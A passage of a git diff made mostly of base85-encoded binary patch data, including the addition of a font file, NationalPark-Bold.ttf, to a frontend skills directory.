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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/NationalPark-Bold.ttf b/skills/frontend-dev/canvas-fonts/NationalPark-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f4d7c021b6e0edd88bb152d8cee73154efa086c1 GIT binary patch literal 79208 zcmd442Y6M*);B&g`?Q>s-pk3!NiQTJy%CU9s`Mrz5=f{a!6bkMyQ0|p^;(c?!R|#x zQN)gjsECRML@sg_8+y^JTnpy>e{1c1N+783cfa@fe`lUqd-j?&Yi8E0>9gkuDTD|I zFbOfNv8nlz%U2B%LS+acuNyXQ>_kVTyikZyqlGAL9X4@t{l@UvgF>X?J$T#Li33Y6 zd~O;7%gx|2YvQE3NoU-?XawG8;XQB8;+7>bH%^)@MCeu_tda9tx|dLF@Q=pRHn07R zx$Tj=ZxLd}Iw78VYJOWwYhK8=q42)~{uT3qu+6gGjQ3i+XUt#RbNZyyE`fi{9>l+- zy>m`W_U*qkffeX2HH%wLU!qmXDWG?P-rdo%xb3_JkGX}=o<auSS<>0vQ@`b|H9`!G z7s6S*q^oVoe9ILVgFYDa)~BTB;&rAg@hYUpBf{_$np3=h6yG2$^cL_l6BW2xdUpbD z@jQLx7t?C(ivS8Z5t^uML@A;fI)z$3Z+;ImQ;ZQZRBhsLgp_K`#D=<cr-s%3C^Vhl z{)fMLmHhvC=;=Y8r#;c8)uvYw(jpXxLiDN*9Ly-U%hWXBM(IyEQ<TVZgN7e}6T&l8 zxX<$9#*7`)B-V(KUzL%M2V}lm$m_{pX`Cvz&=8jrtw2HYq8HMzh%sWQC=q!gO(eok z%AIl-{3NtUiqG_?9A!L*fWl7lQ)h$n1mD|fc&j#OT7gXvX88_q?}C?7r>avCVu=Ek z>Q>!=OVv`qGt?P?=d1GpFIE==u2Po)u2bs(A5%{WO+BNY1$;rh2>7yk1@Kk%I^dh? zZNPWcPQdroF2Ik}9>Bfo5a9RfH^5#kNJuS0iv*0;Vv#<|l@ML9&}2cHMJ1`!KJ^Jw z?cg{C$7$s_?Hp$?#~H?PMsu7A9A^^8nSwa~AyU<0#F-8*O6^x)Lgok6zgSzsz;(TP z5?o&Zw^!9`;PV!^ysth)_`OI2DuGl~Hl`rBH)+v^TZ%;Wi{VznroK1any6A64Yx^T zsGAJ88T2a*w?(9>>4rN<)GC+Z4i+`?Q^Or1)5J@LJ5*GND-3snh!;J&8)_UZ<{NGs zw8r2mgCMzP18;{;)EaIFXbKH?Fv6x8?hxo&q~Q+r=S7AAD@2nx9Wi!^7Ev!cMLRTf zqG%I~#RA{^iFj|t`%+*hz&#JHcF=c;(ZJ3_8hZk`_;C%O>k{3dS%y$kVZGF25V{9% zouUJ-b}^2*En-eRVhO_3h=DMjaJPYGE>re^a)Fq`m~OyAV7n0iB!pXlFm6bNIQGCb z5w5v#EoaVcz~~fxIkW=56d_u{tqblRa3b1?Vg&N$7GsV0136Rv{AtJs)f5g*`J~w0 zq8KS7>kdd+-*~;LX@O)~5RRld8<65&j(19j8#s!$PK;-F4`ky0Ka>!aP@r5}IL}>( zuZ43=rPPDeFUNBc;xB|woFUFc3DgBpy2WrKr-8I2fqLL6=flCH4KnLsy5p5{flssg zlU$J~64huK`)Y{Wry~@buBRkpoq7=H$HF!Va`g@A)h&Ol-tb3L`r~Lo3`-z^F33XH zZ#UZMBG@wIlJt#A>iFS_Qx|wF1l=4+)(tr>#dAJzBx|?GIi@7%8Rfndnox*Pov3XC 